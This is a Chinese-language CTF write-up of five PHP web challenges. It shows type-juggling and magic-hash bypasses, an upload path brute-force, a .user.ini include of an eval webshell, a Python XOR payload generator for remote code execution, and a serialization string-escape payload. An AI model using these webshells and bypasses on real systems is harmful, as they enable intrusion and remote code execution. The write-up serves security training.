web03
<?php
highlight_file(__FILE__);
include "flag.php";
$wwc = $_GET['wawacai'];
if (strpos($wwc, 'e') !== False)
{
die('啊哈');
}
if (intval($wwc) == 0 and floatval($wwc) ==0 and $wwc > 0) // ?什么鬼
{
$wwc_len = $_GET['len'];
if(strlen($wwc_len) < 8 and $wwc_len > 99999999)
{
$next = True;
print ("<br>Surprise! First flag: ".$flag1);
}
}
?>
第一个过滤要求$wwc取整和float小数点都为0,且其值要大于0,可以采用16进制绕过。之后直接科学计数法即可。payload: wawacai=0x1&len=9e9
<?php
highlight_file(__FILE__);
include "flag.php";
$ydf=$_GET['ydf'];
if ($ydf == '2333' and !preg_match('/^\d+/', $ydf) and strpos($ydf, 'e') !== false)
{
$next = True;
print ("<br>Surprise! Second flag: ".$flag2);
}
else
{
print('<br>.......');
}
要求输入的内容要 =='2333'
且满足正则不能取数字开头的字符串,且字符串中要有e
。
可以直接.2333e4
代表0.2333e4满足要求。
也可以使用 空格 来绕过正则的过滤,2.333e3
,或在前面写上+
绕过,+2.333e3
。
web05
文件上传。
测试发现,不可用上传.php
后缀,常规思路上传.jpg
等允许的后缀图片马,再用burp抓包后修改后缀,成功上传,然后给出提示:file_name.png上传路径 upload. '/' .md5(rand(100,999)).file_name.png
其将我们上传的文件取 100~999中的随机数再进行了md5加密处理再和我们的文件名拼接,所以我们可以使用burp爆破一下文件名,取得正确路径即可蚁剑连接,得到flag。
web01
/var/www/html/c2fcb359a3d8168c5e5d7e57fe2c5d8c <?php
error_reporting(0);
$sandbox = '/var/www/html/' . md5("721" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@touch($sandbox.'/index.php');
@chdir($sandbox);
class aaa{
private $name;
private $content;
public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}
public function put_file(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}
private function waf($input){
return !preg_match('/ph/i', $input);
}
public function get_file(){
if(file_exists($this->name)){
echo file_get_contents($this->name);
}else{
return False;
}
}
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('what ???');
}
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new aaa($name,$content);
if($ft->put_file()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new aaa($name,$content);
if($ft->get_file()===False){
echo $name.' download failed';
}
break;
default:
echo 'hello world';
break;
}
文件上传。
发现想要上传文件,需要在到达switch()
中的upload,就需要绕过$action==='upload'
,当值取0的时候可以绕过。
在new类时,会对我们的输入内容做检查,其中正则了ph
且大小写无法绕过,可以使用PHP短标签来绕过<??>
,因为无法上传到php
后缀文件,而代码中又创建了index.php,@touch($sandbox.'/index.php');
。所以可以想到上传.user.ini
:auto_prepend_file=a.png
来包含我们的图片马,上传一个文件a.png,内容为<?=eval($_POST['hhh']);?>
,访问/c2fcb359a3d8168c5e5d7e57fe2c5d8c/index.php,蚁剑连接。
web02
<?php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
if(isset($_POST['x']) && "1dd991" === substr(md5($_POST['x']),0,6) && isset($_POST['y']) && is_numeric($_POST['y']) and $_POST['y']!=='36' and trim($_POST['y'])!=='36' and filter($_POST['y'])=='36'){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $_GET['cmd'])){
die('hacker');
}else{
eval($_GET['cmd'].';');
}
}else{
die(show_source(__FILE__));
}
?>
md5绕过写个脚本生成:
<?php
$i=1;
while(1){
if("1dd991" === substr(md5($i),0,6)){
echo $i;
exit();
}
$i++;
}
?>
//得到 23751074
然后要绕过:
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
isset($_POST['y']) && is_numeric($_POST['y']) and $_POST['y']!=='36' and trim($_POST['y'])!=='36' and filter($_POST['y'])=='36'
同样编写脚本:
<?php
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
for($i=0;$i<128;$i++){
$y = chr($i).'36';
if(is_numeric($y) and $y!=='36' and trim($y)!=='36' and filter($y)=='36') {
echo urlencode(chr($i)).' ';
}
}
?>
//得到 %0C不会被trim()过滤掉
接下来绕过:preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $_GET['cmd'])
import re
def write():
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;]+'
str = ""
for i in range(1,256):
for j in range(1,256):
if not (re.search(preg,chr(i),re.I) or re.search(preg,chr(j),re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%'+hex(i)[2:].zfill(2)
b = '%'+hex(j)[2:].zfill(2)
str = (str + chr(k)+" "+a+" "+b+"\n")
fp = open('result.txt','w')
fp.write(str)
def produce(string):
str1 = ""
str2 = ""
for i in string:
fp = open('result.txt','r')
while True:
line = fp.readline()
if line == "":
break
if line[0] == i:
str1 = str1 + line[2:5]
str2 = str2 + line[6:9]
break
fp.close()
result = "(\""+str1+"\"^\""+str2+"\")"
return result
if __name__ == "__main__":
write()
while True:
function = input("输出执行函数:")
parms = input("请输出函数参数:")
payload = produce(function) + produce(parms)
print(payload)
web04
<?php
error_reporting(0);
session_start();
class Challenges{
public $Y = 'fuck';
public $A = 'hacker';
public $S = 'hacker44';
public $F = 'hacker555';
public function __construct($y,$a,$s){
$this->Y = $y;
$this->A = $a;
$this->S = $s;
}
}
$y = $_POST['y'];
$a = $_POST['a'];
$s = $_POST['s'];
if (isset($y) && isset($a) && isset($s)){
$m = new Challenges($y,$a,$s);
$msg = str_replace('fuck', 'fucker', serialize($m));
$msg = str_replace('love', 'lover',$msg);
$msg = str_replace('watermelon', 'melon',$msg);
$_SESSION['m'] = base64_encode($msg);
}
if(isset($_POST['q']) && isset($_POST['r'])){
if(is_numeric($_POST['q']) && is_string($_POST['r'])
&& md5($_POST['q']) == md5($_POST['r'])){
include('message.php');
}
}
highlight_file(__FILE__);
序列化字符逃逸,md5绕过。
y=b&a=c&s=lovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelovelove";s:1:"F";s:7:"destiny";}&q=240610708&r=QNKCDZO
<?php
include_once 'flag.php';
highlight_file(__FILE__);
if(isset($_COOKIE['m'])){
$m = unserialize(base64_decode($_SESSION['m']));
if($m->F == 'destiny'){
echo $flag;
}
}
这里cookie在随便输入一个值。